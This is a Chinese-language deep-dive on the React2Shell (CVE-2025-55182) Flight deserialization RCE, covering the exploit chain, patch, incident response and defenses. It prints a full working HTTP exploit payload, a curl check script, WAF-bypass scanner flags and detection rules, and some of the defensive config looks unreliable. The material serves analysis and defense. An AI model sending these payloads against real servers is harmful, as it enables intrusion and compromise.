React2Shell 深度实战:当原型链污染撕裂前端安全防线——从 Flight 协议反序列化到 RCE 利用链、企业应急响应与零信任修复的生产级完全指南(2026)
一、一场 CVSS 10.0 的核弹级漏洞如何改写前端安全格局
2025 年 12 月 3 日,安全圈平静了四年的水面被一颗深水炸弹彻底炸开。安全研究员 Lachlan Davidson 披露了 CVE-2025-55182——一个影响 React 19+ 全版本、Next.js 15/16 的无条件默认环境远程代码执行漏洞,CVSS 评分满分 10.0,史称 React2Shell。
这不是一个需要特殊配置才能触发的边缘漏洞。任何一个使用 npx create-next-app 默认模板创建的项目,开箱即危。前端框架的历史上,从未出现过影响范围如此之广、利用门槛如此之低、危害如此之深的 RCE 漏洞。
更令人窒息的是,最早公开的 PoC 仅仅是 14 行 HTTP 请求——一个 multipart POST,几段 form-data,一个原型链穿越,一次 process.mainModule.require('child_process').execSync()。没有认证绕过,没有条件竞争,没有内存破坏。就是一行代码,直通 Shell。
POST / HTTP/1.1
Host: target:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
一个请求,一条命令,一次回显。这就是 React2Shell。
本文将从 Flight 协议的设计缺陷出发,逐层拆解从反序列化到原型链污染再到 RCE 的完整利用链;深入分析补丁修复策略的得失;给出企业级应急响应的完整 SOP;并从架构层面探讨如何构建纵深防御体系,避免类似灾难重演。
二、为什么前端框架会执行服务器命令?——RSC 与 Flight 协议的前世今生
2.1 从 SPA 到 SSR 再到 RSC:前端渲染架构的三次范式迁移
要理解 React2Shell 为什么存在,首先需要理解一个前端框架为什么会在服务器上执行代码。
第一代:纯客户端渲染(CSR / SPA)
React 最初的设计是纯客户端渲染。服务器返回一个几乎空白的 HTML 壳子,所有页面内容由 JavaScript 在浏览器中动态生成。问题显而易见:首屏白屏时间长、SEO 不友好、弱网环境体验差。
第二代:服务端渲染(SSR)
Next.js 的早期版本引入了 SSR——服务器在收到请求时,执行 React 组件的渲染逻辑,直接返回完整的 HTML。用户看到的是即时呈现的页面,但交互仍然需要客户端水合(hydration)。SSR 的问题在于:服务器压力巨大,每个请求都要执行完整的渲染;数据获取仍然需要客户端二次请求;水合过程可能产生不匹配错误。
第三代:React Server Components(RSC)
2023 年,React 19 正式引入了 RSC。核心思想是:组件本身在服务器上执行,可以直访问数据库、文件系统等后端资源,然后将结果以 Flight 协议 的形式流式传输给客户端。客户端只负责选择性水合交互组件,而非交互组件的数据完全在服务端处理,不占用客户端资源。
这从根本上改变了前端框架的运行模型:前端代码现在运行在服务器上了。
2.2 Server Actions:从服务端渲染到服务端执行
RSC 的另一个关键扩展是 Server Actions。在 Next.js 13+ 中,开发者可以在服务端定义函数,客户端通过表单提交或事件调用直接触发这些函数:
// app/actions.ts
'use server'
import { revalidatePath } from 'next/cache'
import { db } from '@/lib/db'
export async function createPost(formData: FormData) {
const title = formData.get('title') as string
const content = formData.get('content') as string
await db.post.create({ data: { title, content } })
revalidatePath('/posts')
}
// app/posts/new.tsx
import { createPost } from './actions'
export default function NewPost() {
return (
<form action={createPost}>
<input name="title" />
<textarea name="content" />
<button type="submit">发布</button>
</form>
)
}
客户端提交表单时,Next.js 自动将 FormData 通过 multipart/form-data 发送到服务器,服务器解码后执行对应的 Server Action。整个过程中,Flight 协议 是服务端和客户端之间的通信桥梁。
2.3 Flight 协议:React 自己的序列化格式
Flight 协议是 React 自定义的二进制/文本混合序列化协议,用于在服务端和客户端之间传递 RSC 的渲染结果和 Server Actions 的调用信息。它的设计目标是在保持类型信息的前提下实现高效传输。
Flight 协议的核心是类型标记(Type Marker)——以 $ 开头的特殊前缀,在反序列化时会被转换为特定的对象引用:
| 标记 | 含义 | 示例 |
|---|---|---|
$@id | 引用 Chunk id 对应的对象 | $@0 → 获取 Chunk 0 的值 |
$Bid | 引用 FormData 中 key 为 prefix+id 的 Blob | $B1337 → formData.get(prefix + 1337) |
$Lid | 引用 Lazy Chunk | $L5 → 异步加载 Chunk 5 |
$Fid | 引用 ForwardRef | $F2 → React.forwardRef |
$:path | 沿路径获取对象属性 | $1:__proto__:then → chunk1.proto.then |
这就是问题的根源:Flight 协议的反序列化过程没有对输入做严格的安全校验。用户提交的 multipart 数据经过 Flight 协议反序列化后,类型标记会被忠实地解析为对象引用——包括原型链上的属性。
如果你对 Java 的反序列化漏洞有所了解,这里会有强烈的既视感:Flight 协议之于 React,就像序列化协议之于 Java。设计目标是高效传输,但缺少安全边界。
三、漏洞根因深度分析:从 Chunk 对象到原型链穿越
3.1 请求处理入口:decodeReplyFromBusboy
当 Next.js 服务器收到一个 Content-Type: multipart/form-data 且带有 Next-Action 头的 POST 请求时,会进入 Flight 协议的解析流程。核心函数是 decodeReplyFromBusboy:
// react/packages/react-server/src/ReactFlightReplyServer.js(简化版)
function decodeReplyFromBusboy(
busboy,
body,
options,
) {
const response = createResponse(body, options);
// 监听 busboy 的 field 事件,逐段解析 multipart 数据
busboy.on('field', function(fieldname, value) {
resolveField(response, fieldname, value);
});
// 监听 file 事件处理文件上传
busboy.on('file', function(fieldname, file, filename) {
// ...文件处理逻辑
});
// 返回根 Chunk
return getRoot(response);
}
每个 multipart 段会被封装为一个 Chunk 对象。Chunk 是 Flight 协议的基本单元,可以理解为一个带状态的 Promise:
function Chunk(status, value, reason, response) {
this.status = status; // 状态:PENDING / RESOLVED_MODEL / INITIALIZED 等
this.value = value; // 解析后的值
this.reason = reason; // 错误原因
this._response = response; // 所属的 Response 对象
}
// Chunk 继承自 Promise
Chunk.prototype = Object.create(Promise.prototype);
// then 方法的核心逻辑
Chunk.prototype.then = function(resolve, reject) {
const chunk = this;
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk); // 触发模型解析
break;
}
switch (chunk.status) {
case INITIALIZED:
resolve(chunk.value); // 已初始化,直接返回值
break;
case PENDING:
case BLOCKED:
case CYCLIC:
// 挂起回调
if (resolve) {
if (chunk.value === null) chunk.value = [];
chunk.value.push(resolve);
}
break;
default:
reject(chunk.reason);
break;
}
};
关键观察:Chunk 的原型是 Promise.prototype。这意味着 Chunk 的实例同时具有 Chunk 自身的属性(status、value、reason、_response)和 Promise 原型链上的方法(then、catch、finally)。这个设计决策在漏洞利用链中扮演了关键角色。
3.2 resolveField:从 multipart 段到 Chunk 对象
每个 multipart form-data 段会被 resolveField 函数处理。当 fieldname 是数字时,它会被视为 Chunk 的 id:
function resolveField(response, key, value) {
if (key[0] === '0') {
// key 为数字,作为 Chunk id
const chunk = getChunk(response, parseInt(key, 10));
// 解析 Chunk 的值
// ...
}
}
getChunk 函数根据 id 获取或创建 Chunk:
function getChunk(response, id) {
let chunk = response._chunks.get(id);
if (chunk) return chunk;
if (response._formData) {
// _formData 不为空时,创建一个 RESOLVED_MODEL 状态的 Chunk
chunk = createResolvedModelChunk(response, id);
} else {
chunk = createPendingChunk(response);
}
response._chunks.set(id, chunk);
return chunk;
}
3.3 模型解析:initializeModelChunk 与 reviveModel
当一个 Chunk 的状态为 RESOLVED_MODEL 时,then 方法会调用 initializeModelChunk 进行解析:
function initializeModelChunk(chunk) {
const value = parseModel(chunk._response, chunk.value);
chunk.status = INITIALIZED;
chunk.value = value;
}
parseModel 调用 reviveModel,这是 Flight 协议类型标记的核心处理逻辑:
function reviveModel(response, value) {
if (typeof value === 'string') {
// 处理 Flight 协议的类型标记
const firstChar = value[0];
if (firstChar === '$') {
switch (value[1]) {
case '@': {
// $@id → 递归获取 Chunk id 的值
const id = parseInt(value.slice(2), 16);
return getChunk(response, id);
}
case 'B': {
// $Bid → 获取 FormData 中的 Blob
const id = parseInt(value.slice(2), 16);
const prefix = response._prefix;
const blobKey = prefix + id;
return response._formData.get(blobKey);
}
// ... 其他类型标记
}
}
// 不是已知标记,进入 getOutlinedModel
if (firstChar === '$') {
return getOutlinedModel(response, value.slice(1));
}
}
return value;
}
3.4 getOutlinedModel:原型链穿越的入口
getOutlinedModel 是漏洞的核心触发点。它将 $ 后面的内容按 : 分割,第一段作为 Chunk id,后续段作为属性路径:
function getOutlinedModel(response, value) {
const parts = value.split(':');
const id = parseInt(parts[0], 16);
const chunk = getChunk(response, id);
// 遍历属性路径
let result = chunk;
for (let i = 1; i < parts.length; i++) {
result = result[parts[i]]; // ← 这里没有 hasOwnProperty 检查!
}
return result;
}
这就是漏洞的根本原因:result[parts[i]] 没有使用 hasOwnProperty 检查,直接通过属性访问语法穿透了原型链。攻击者可以通过 __proto__ 访问到任何对象原型上的属性,进而访问 constructor、then 等关键方法。
四、完整利用链拆解:从一行 Payload 到 Shell
4.1 利用链的三个核心问题
要实现从原型链污染到 RCE,需要解决三个问题:
- 如何让 then 方法被调用:Chunk 的 then 方法在 status 为 RESOLVED_MODEL 时会触发 initializeModelChunk,我们需要控制这个流程让恶意代码被执行。
- 如何构造一个 Function 对象调用:JS 中
[]['constructor']['constructor']等价于Function,可以执行任意代码。 - 如何获得命令执行的结果回显:Flight 协议的反序列化流程会捕获异常,我们需要利用 Next.js 的错误处理机制来泄露命令输出。
4.2 第一步:构造自引用 Chunk 让 then 被调用
直接的问题:如果我们在 Chunk 0 的 then 字段放 $1:constructor:constructor,解析后会得到 Function 对象,但 Function 不是 Promise,无法触发 then 回调。
解决方案:利用 $@id 标记的自引用特性,让 then 字段最终指向一个 Chunk 对象:
Chunk 0: {"then": "$1:then"}
Chunk 1: "$@0"
解析流程:
getChunk(0)→ Chunk 0 的 then 字段是"$1:then"getOutlinedModel分割路径:id=1,path=["then"]getChunk(1)→ 值为"$@0"→ 递归获取getChunk(0)→ 返回 Chunk 0 的实例- 回到
getOutlinedModel:result = chunk1_value["then"]→ Chunk 0 的 then 方法 - 由于 Chunk 继承自 Promise,then 方法会被 await 触发
但这样只能触发 then,还无法执行任意代码。
4.3 第二步:原型链穿越获取 Function
改进 Payload:通过 __proto__ 穿透到 Promise 原型链:
Chunk 0: {"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, ...}
Chunk 1: "$@0"
解析流程:
getChunk(0)→ then 字段是"$1:__proto__:then"getOutlinedModel分割路径:id=1,path=["proto", "then"]getChunk(1)→ 值为"$@0"→ 返回 Chunk 0 的实例result = chunk0_instance["__proto__"]→Promise.prototype(因为 Chunk 继承自 Promise)result = Promise.prototype["then"]→ Promise 的 then 方法- 回到上层,await 触发 Chunk 0 的 then 方法
此时,Chunk 0 的 status 为 RESOLVED_MODEL,then 方法会调用 initializeModelChunk,开始解析 Chunk 0 的完整值。
4.4 第三步:通过 $B 标记和 _formData.get 实现代码执行
这是利用链最精巧的部分。Chunk 0 的 value 字段中包含 $B1337,这会触发 Flight 协议的 Blob 引用解析:
case 'B': {
const id = parseInt(value.slice(2), 16); // 1337
const prefix = response._prefix; // 攻击者可控!
const blobKey = prefix + id; // 拼接成 key
return response._formData.get(blobKey); // 从 FormData 中取值
}
攻击者控制了 _prefix 的值——将其设置为要执行的 JavaScript 代码。但 _formData.get 只是返回一个字符串,怎么执行?
关键在于:攻击者同时通过原型链污染把 _formData.get 替换成了 Function:
"_formData": {
"get": "$1:constructor:constructor"
}
解析流程:
_formData.get的值是"$1:constructor:constructor"getOutlinedModel分割:id=1,path=["constructor", "constructor"]getChunk(1)→ Chunk 0 的实例chunk0_instance["constructor"]→Chunk(构造函数)Chunk["constructor"]→Function(所有函数的 constructor 都是 Function)- 此时
_formData.get就是Function对象
当 Flight 协议处理 $B1337 时:
blobKey = prefix + 1337- 调用
_formData.get(blobKey)→ 实际调用Function(blobKey) Function("var res=process.mainModule.require('child_process').execSync('id')...")- 代码执行!
4.5 第四步:命令回显——利用 NEXT_REDIRECT 错误机制
直接 execSync 执行命令后,程序会继续运行 Flight 协议的后续逻辑,导致卡死或报错。需要手动抛出错误来中断流程,同时泄露命令输出。
Next.js 处理 Server Action 错误时,会将 digest 字段返回到响应头中:
var res = process.mainModule.require('child_process')
.execSync('id').toString().trim();
throw Object.assign(
new Error('NEXT_REDIRECT'),
{ digest: `NEXT_REDIRECT;push;/login?a=${res};307;` }
);
服务器返回:
HTTP/1.1 303 See Other
Location: /login?a=uid=0(root)
X-Action-Redirect: /login?a=uid=0(root)
命令执行结果直接暴露在 Location 头中,实现了完整的回显。
4.6 完整利用链流程图
攻击者发送 multipart POST
│
▼
decodeReplyFromBusboy 解析请求
│
▼
Chunk 0 创建(status=RESOLVED_MODEL)
│
▼
then 方法触发 → initializeModelChunk
│
▼
getOutlinedModel("$1:__proto__:then")
│
├─ getChunk(1) → "$@0" → 递归 getChunk(0) → Chunk 0 实例
│
├─ Chunk0["__proto__"] → Promise.prototype
│
└─ Promise.prototype["then"] → then 方法被引用
│
▼
Chunk 0 的值被解析(value 中的 $B1337)
│
▼
$B1337 处理:
blobKey = _prefix + 1337(_prefix 包含恶意代码)
_formData.get 已被污染为 Function
→ Function(prefix + 1337)()
│
▼
process.mainModule.require('child_process').execSync(cmd)
│
▼
throw NEXT_REDIRECT(digest=命令输出)
│
▼
响应头泄露命令执行结果
五、漏洞检测与扫描实战
5.1 react2shell-scanner:专业级漏洞检测工具
安全团队 Assetnote 发布了开源扫描工具 react2shell-scanner,支持多种检测模式:
基础扫描:
# 单目标扫描
python3 scanner.py -u https://target.example.com
# 批量扫描
python3 scanner.py -l targets.txt -t 20 -o results.json
安全检测模式(不执行命令):
# --safe-check 使用侧信道检测,不触发 RCE
# 依赖 500 状态码 + 特定 error digest 判断
python3 scanner.py -u https://target.example.com --safe-check
WAF 绕过模式:
# 在 multipart body 前填充随机数据绕过 WAF 内容检测
python3 scanner.py -u https://target.example.com --waf-bypass
# 自定义填充大小(默认 128KB)
python3 scanner.py -u https://target.example.com --waf-bypass --waf-bypass-size 256
# 绕过 Vercel WAF(使用不同的 multipart 结构)
python3 scanner.py -u https://target.example.com --vercel-waf-bypass
Windows 目标扫描:
# 使用 PowerShell payload 替代 Unix shell
python3 scanner.py -u https://target.example.com --windows
5.2 检测原理详解
RCE PoC 模式:
扫描器发送一个精心构造的 multipart POST 请求,payload 执行确定性数学运算 41 * 271 = 11111。如果目标存在漏洞,响应头中会包含:
X-Action-Redirect: /login?a=11111
这个确定性结果确保了检测的准确性——不存在误报。
Safe Check 模式:
不执行代码,而是发送一个不完整的 Flight 协议请求,观察服务器的错误响应。如果目标使用了 RSC 但未修复,服务器会返回 500 状态码和特定的 error digest。
# Safe check 的核心逻辑
def safe_check(target_url):
"""侧信道检测:不执行代码,通过错误响应判断"""
payload = construct_partial_flight_request()
response = requests.post(target_url, data=payload, headers=FLIGHT_HEADERS)
if response.status_code == 500:
error_digest = extract_error_digest(response)
if is_rsc_error_digest(error_digest):
return Vulnerable(target_url, method="safe-check")
return NotVulnerable(target_url)
5.3 自建检测脚本
对于需要集成到 CI/CD 或自动化安全管道的场景,可以使用轻量级检测脚本:
#!/bin/bash
# react2shell-quick-check.sh
# 快速检测脚本,使用 curl 实现
TARGET="$1"
if [ -z "$TARGET" ]; then
echo "Usage: $0 <target_url>"
exit 1
fi
# 构造检测 payload(执行 41*271=11111)
RESULT=$(curl -s -o /dev/null -w "%{redirect_url}" \
-X POST "$TARGET" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Check" \
--data-binary $'------Check\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=41*271;throw Object.assign(new Error(\\"NEXT_REDIRECT\\"),{digest:\`NEXT_REDIRECT;push;/login?a=${res};307;\`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Check\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Check\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Check--\r\n')
if echo "$RESULT" | grep -q "a=11111"; then
echo "[!!] VULNERABLE: $TARGET — React2Shell detected!"
exit 2
else
echo "[OK] Not vulnerable: $TARGET"
exit 0
fi
六、补丁分析与修复策略深度解读
6.1 React 官方补丁:PR #35277
React 团队在 PR #35277 中修复了此漏洞。修复策略包含两个关键改动:
修复一:使用 Symbol 保护 _response 对象
// 修复前
// _response 是普通的字符串 key,JSON 解析可以覆盖
chunk._response = response;
// 修复后
const RESPONSE_SYMBOL = Symbol.for('react.response');
chunk[RESPONSE_SYMBOL] = response;
Symbol 类型的 key 无法通过 JSON.parse 创建。攻击者构造的 JSON payload 中无法包含 Symbol 类型的属性名,因此无法覆盖 _response 的内容。这切断了攻击者控制 _prefix 的路径。
修复二:hasOwnProperty 检查防止原型链穿越
// 修复前
function getOutlinedModel(response, value) {
const parts = value.split(':');
const id = parseInt(parts[0], 16);
const chunk = getChunk(response, id);
let result = chunk;
for (let i = 1; i < parts.length; i++) {
result = result[parts[i]]; // ← 可以穿透原型链
}
return result;
}
// 修复后
function getOutlinedModel(response, value) {
const parts = value.split(':');
const id = parseInt(parts[0], 16);
const chunk = getChunk(response, id);
let result = chunk;
for (let i = 1; i < parts.length; i++) {
if (!Object.prototype.hasOwnProperty.call(result, parts[i])) {
throw new Error('Trying to access prototype property: ' + parts[i]);
}
result = result[parts[i]];
}
return result;
}
hasOwnProperty 检查直接阻断了 __proto__、constructor 等原型链属性的访问。即使攻击者能构造出 $1:__proto__:then 这样的路径,也会在 __proto__ 这一步被拦截。
6.2 补丁的争议与不足
尽管补丁修复了当前的利用链,但社区中存在不少争议:
争议一:补丁混入业务更新
React 团队将安全修复与多个业务功能更新合并到同一个 PR 中,导致 diff 极其庞大且难以审计。这在安全社区引发了强烈批评——安全补丁应该独立提交,便于审查和回溯。
争议二:修复是否足够纵深?
当前修复是"堵入口"式的——阻止原型链穿越和 response 覆盖。但 Flight 协议的反序列化机制本身并没有根本性改变。如果未来发现新的类型标记解析漏洞,类似的攻击模式可能重演。
争议三:低版本无法覆盖
React 18 及更早版本虽然不受此漏洞影响(因为没有 RSC),但使用 Next.js 14 canary 的项目可能仍在运行受影响版本。修复补丁需要主动升级,而大量生产环境存在升级滞后。
6.3 修复版本对照表
| 受影响版本 | 修复版本 |
|---|---|
| React 19.0.0 | 19.0.1 |
| React 19.1.0 / 19.1.1 | 19.1.2 |
| React 19.2.0 | 19.2.1 |
| Next.js 14.3.0-canary | 14.3.0-canary.88 |
| Next.js 15.0.x | 15.0.5 |
| Next.js 15.1.x | 15.1.9 |
| Next.js 15.2.x | 15.2.6 |
| Next.js 15.3.x | 15.3.6 |
| Next.js 15.4.x | 15.4.8 |
| Next.js 15.5.x | 15.5.7 |
| Next.js 16.0.x | 16.0.7 |
七、企业级应急响应 SOP
7.1 发现漏洞后的黄金 4 小时
当 React2Shell 这样的核弹级漏洞被公开时,企业安全团队的响应速度直接决定了损失规模。以下是基于实战经验总结的应急响应 SOP:
0-30 分钟:确认影响范围
#!/bin/bash
# step1-asset-discovery.sh
# 第一阶段:快速资产发现
echo "=== Step 1: 资产发现 ==="
# 1. 扫描所有 Next.js 服务
echo "[1/4] 扫描 Next.js 服务..."
find / -name "next.config.*" -o -name "package.json" 2>/dev/null | while read f; do
if grep -q '"next"' "$f" 2>/dev/null; then
NEXT_VER=$(grep '"next"' "$f" | grep -oP '\d+\.\d+\.\d+' | head -1)
echo " FOUND: $f (Next.js $NEXT_VER)"
fi
done
# 2. 扫描 React 版本
echo "[2/4] 扫描 React 版本..."
find / -name "package.json" 2>/dev/null | while read f; do
if grep -q '"react"' "$f" 2>/dev/null; then
REACT_VER=$(grep '"react"' "$f" | grep -oP '\d+\.\d+\.\d+' | head -1)
MAJOR=$(echo "$REACT_VER" | cut -d. -f1)
if [ "$MAJOR" -ge 19 ]; then
echo " AFFECTED: $f (React $REACT_VER)"
fi
fi
done
# 3. 检查运行中的 Node 进程
echo "[3/4] 检查运行中的 Node 进程..."
ps aux | grep -i "[n]ode.*next" | while read line; do
echo " RUNNING: $line"
done
# 4. 检查 Docker 容器
echo "[4/4] 检查 Docker 容器..."
docker ps --format '{{.Names}} {{.Image}}' | grep -i next | while read line; do
echo " CONTAINER: $line"
done
30-60 分钟:紧急缓解措施
#!/bin/bash
# step2-emergency-mitigation.sh
# 第二阶段:无需改代码的紧急缓解
echo "=== Step 2: 紧急缓解 ==="
# 方案 A:WAF 规则拦截(推荐,零停机)
echo "[A] 部署 WAF 规则..."
# Nginx 规则:拦截包含 Next-Action 头的异常 multipart POST
cat > /etc/nginx/conf.d/react2shell-mitigation.conf << 'EOF'
# React2Shell (CVE-2025-55182) 临时缓解规则
# 拦截恶意 multipart POST 请求
server {
# 规则 1:拦截包含 __proto__ 的请求体
if ($request_body ~* "__proto__") {
return 403;
}
# 规则 2:拦截包含 constructor:constructor 的请求体
if ($request_body ~* "constructor:constructor") {
return 403;
}
# 规则 3:拦截异常的 Next-Action + multipart 组合
set $block_flag 0;
if ($http_next_action != "") {
set $block_flag 1;
}
if ($content_type ~* "multipart/form-data") {
set $block_flag "${block_flag}1";
}
# 如果同时有 Next-Action 头和 multipart content-type,增加额外检查
# 注意:正常的 Server Action 也会使用这个组合,不能直接封禁
}
EOF
nginx -t && nginx -s reload
# 方案 B:环境变量禁用 Server Actions(影响功能)
echo "[B] 环境变量缓解..."
echo " 在 .env 或启动命令中添加:"
echo " NEXT_SERVER_ACTIONS_DISABLED=1"
echo " 注意:这会禁用所有 Server Actions 功能"
# 方案 C:Docker 临时加固
echo "[C] Docker 容器加固..."
echo " 限制 Node.js 进程的 child_process 权限:"
echo " docker run --security-opt=no-new-privileges --cap-drop=ALL ..."
echo " 或使用 seccomp profile 限制 execve 系统调用"
1-4 小时:正式修复
#!/bin/bash
# step3-patch-and-deploy.sh
# 第三阶段:正式修复部署
echo "=== Step 3: 正式修复 ==="
# 1. 升级 React
echo "[1/3] 升级 React..."
npm install react@19.2.1 react-dom@19.2.1
# 2. 升级 Next.js
echo "[2/3] 升级 Next.js..."
npm install next@16.0.7
# 3. 验证修复
echo "[3/3] 验证修复..."
node -e "
const reactPkg = require('react/package.json');
const nextPkg = require('next/package.json');
console.log('React:', reactPkg.version);
console.log('Next.js:', nextPkg.version);
// 检查是否为修复版本
const reactFixed = ['19.0.1', '19.1.2', '19.2.1'];
const nextFixed = ['14.3.0-canary.88', '15.0.5', '15.1.9', '15.2.6', '15.3.6', '15.4.8', '15.5.7', '16.0.7'];
if (reactFixed.includes(reactPkg.version)) {
console.log('✅ React 已修复');
} else {
console.log('❌ React 仍受影响!');
process.exit(1);
}
if (nextFixed.some(v => nextPkg.version.startsWith(v.split('.').slice(0,2).join('.')) && nextPkg.version >= v)) {
console.log('✅ Next.js 已修复');
} else {
console.log('❌ Next.js 仍受影响!');
process.exit(1);
}
"
7.2 Dify 平台的特殊风险
React2Shell 漏洞公开后,受影响最严重的平台之一是 Dify——一款流行的开源 LLM 应用开发平台。Dify 的前端基于 Next.js 构建,默认使用 RSC 和 Server Actions,且大量实例暴露在公网上。
实际攻击案例中,有企业因 Dify 实例未及时修复而导致服务器被植入挖矿程序:
告警信息:
时间:2025-12-16 03:15
异常:CPU 使用率飙升至 98%
进程:xmrig --url=pool.minexmr.com:443 --user=...
入口:Dify 前端服务 (Next.js 15.3.2)
攻击路径:React2Shell → child_process.execSync → 下载并执行挖矿程序
Dify 修复步骤:
# 1. 检查 Dify 版本和 Next.js 版本
cd /path/to/dify/web
cat package.json | grep -E '"next"|"react"'
# 2. 如果使用 Docker 部署,拉取最新镜像
docker pull langgenius/dify-web:latest
docker-compose down && docker-compose up -d
# 3. 如果手动部署,升级依赖
cd /path/to/dify/web
npm install next@latest react@latest react-dom@latest
npm run build
pm2 restart dify-web
7.3 日志分析与入侵检测
修复后,需要回溯检查是否已被利用:
#!/bin/bash
# step4-log-analysis.sh
# 第四阶段:日志回溯分析
echo "=== Step 4: 日志回溯 ==="
# 1. 检查 Nginx 访问日志中的可疑请求
echo "[1/3] 分析访问日志..."
LOG_FILE="/var/log/nginx/access.log"
START_DATE="2025-12-03" # 漏洞公开日期
# 查找包含 Next-Action 头的 POST 请求
awk -v start="$START_DATE" '
$0 ~ start && $0 ~ /POST/ && $0 ~ /Next-Action/ {
print
}
' "$LOG_FILE" | head -50
# 查找响应码为 303 且 Location 包含异常参数的请求
grep " 303 " "$LOG_FILE" | grep -i "login?a=" | head -20
# 2. 检查服务器上的异常文件
echo "[2/3] 检查异常文件..."
find /tmp /var/tmp /dev/shm -newer /etc/hostname -type f 2>/dev/null | \
grep -v -E '\.(log|pid|sock)$' | head -20
# 检查最近修改的可执行文件
find / -perm -u+x -mtime -7 -type f 2>/dev/null | \
grep -v -E '/(proc|sys|dev)' | head -20
# 3. 检查异常进程和网络连接
echo "[3/3] 检查异常进程..."
# 查看从 Node.js 进程 fork 出的子进程
ps aux | grep -E "(xmrig|minerd|cryptonight|kdevtmpfsi)" | head -10
# 检查异常出站连接
ss -tnp | grep -v -E '(80|443|22|53|8080)' | head -20
八、纵深防御架构:如何从根本上避免类似漏洞
8.1 Flight 协议安全重构建议
当前 Flight 协议的安全模型本质上是"信任服务端数据"——协议设计时假设所有 Chunk 数据都是服务端自己生成的。但 Server Actions 的引入打破了这一假设:客户端可以构造任意的 multipart 请求触发反序列化。
建议一:类型白名单
Flight 协议的类型标记应该采用白名单机制,只允许解析预定义的安全类型:
// 建议的安全类型白名单
const SAFE_TYPE_MARKERS = new Set([
'$L', // Lazy Chunk 引用
'$F', // ForwardRef 引用
'$S', // Symbol 引用
'$E', // Error 引用
// 移除 $@ 和 $B 的自由引用能力
]);
function reviveModel(response, value) {
if (typeof value === 'string' && value[0] === '$') {
const marker = value.slice(0, 2);
if (!SAFE_TYPE_MARKERS.has(marker)) {
throw new Error(`Forbidden type marker: ${marker}`);
}
// ...安全解析逻辑
}
}
建议二:属性访问沙箱
所有通过协议解析触发的属性访问,应该在沙箱环境中执行,限制可访问的属性范围:
// 属性访问沙箱
const ALLOWED_PROPERTIES = new Set([
// 只允许访问普通数据属性
// 禁止 __proto__, constructor, prototype 等
]);
function safePropertyAccess(obj, prop) {
// 检查是否为危险属性
const dangerousProps = ['__proto__', 'constructor', 'prototype'];
if (dangerousProps.includes(prop)) {
throw new SecurityError(`Blocked access to dangerous property: ${prop}`);
}
// hasOwnProperty 检查
if (!Object.prototype.hasOwnProperty.call(obj, prop)) {
throw new SecurityError(`Blocked access to inherited property: ${prop}`);
}
return obj[prop];
}
8.2 运行时隔离:最小权限原则
即使反序列化漏洞被触发,也应该限制代码执行的能力:
Node.js 权限模型(Node.js 20+):
# 使用 Node.js 的实验性权限模型启动 Next.js
node --experimental-policy=policy.json \
--experimental-permission \
--allow-fs-read=/app \
--allow-child-process=none \
node_modules/.bin/next start
// policy.json
{
"resources": {
"./node_modules/next/**": {
"integrity": true,
"dependencies": true
}
},
"disallowed": [
"child_process",
"fs"
]
}
Docker 安全加固:
# Dockerfile.security
FROM node:20-slim
# 创建非 root 用户
RUN groupadd -r appuser && useradd -r -g appuser appuser
# 安装 seccomp profile
COPY seccomp-next.json /etc/docker/seccomp-next.json
WORKDIR /app
COPY --chown=appuser:appuser . .
# 使用安全选项启动
USER appuser
CMD ["node", "--experimental-permission", "node_modules/.bin/next", "start"]
// seccomp-next.json(简化版)
{
"defaultAction": "SCMP_ACT_ERRNO",
"syscalls": [
{ "names": ["read", "write", "open", "close", "mmap", "mprotect"], "action": "SCMP_ACT_ALLOW" },
{ "names": ["execve", "fork", "clone"], "action": "SCMP_ACT_ERRNO" }
]
}
8.3 网络层防御:WAF 规则优化
基于 React2Shell 的攻击特征,可以编写精确的 WAF 规则:
ModSecurity 规则:
# React2Shell (CVE-2025-55182) 检测规则
# Rule 1: 检测 Next-Action 头 + multipart/form-data + 原型链关键字
SecRule REQUEST_HEADERS:Next-Action "!@rx ^$" \
"id:1001,phase:1,deny,status:403,msg:'React2Shell attempt detected - Next-Action header present'"
SecRule REQUEST_HEADERS:Content-Type "@rx multipart/form-data" \
"id:1002,phase:1,pass,nolog,chain"
SecRule REQUEST_BODY "@rx __proto__|constructor:constructor|process\.mainModule" \
"id:1002.1,deny,status:403,msg:'React2Shell attempt detected - prototype pollution payload'"
# Rule 2: 检测 Flight 协议类型标记滥用
SecRule REQUEST_BODY "@rx \$[0-9a-f]+:__proto__" \
"id:1003,phase:2,deny,status:403,msg:'Flight protocol prototype chain traversal'"
# Rule 3: 检测 $B 标记与 _prefix 组合
SecRule REQUEST_BODY "@rx _prefix.*execSync|_prefix.*spawn|_prefix.*child_process" \
"id:1004,phase:2,deny,status:403,msg:'Flight protocol RCE payload detected'"
8.4 监控与告警:实时检测攻击行为
// nextjs-security-monitor.js
// Next.js 中间件:检测并拦截 React2Shell 攻击
import { NextResponse } from 'next/server';
const ATTACK_PATTERNS = [
/__proto__/i,
/constructor:constructor/i,
/\$[0-9a-f]+:__proto__/i,
/process\.mainModule/i,
/child_process/i,
/execSync/i,
];
export function middleware(request) {
// 只检查 POST 请求
if (request.method !== 'POST') return NextResponse.next();
// 只检查 multipart 请求
const contentType = request.headers.get('content-type') || '';
if (!contentType.includes('multipart/form-data')) return NextResponse.next();
// 检查 Next-Action 头
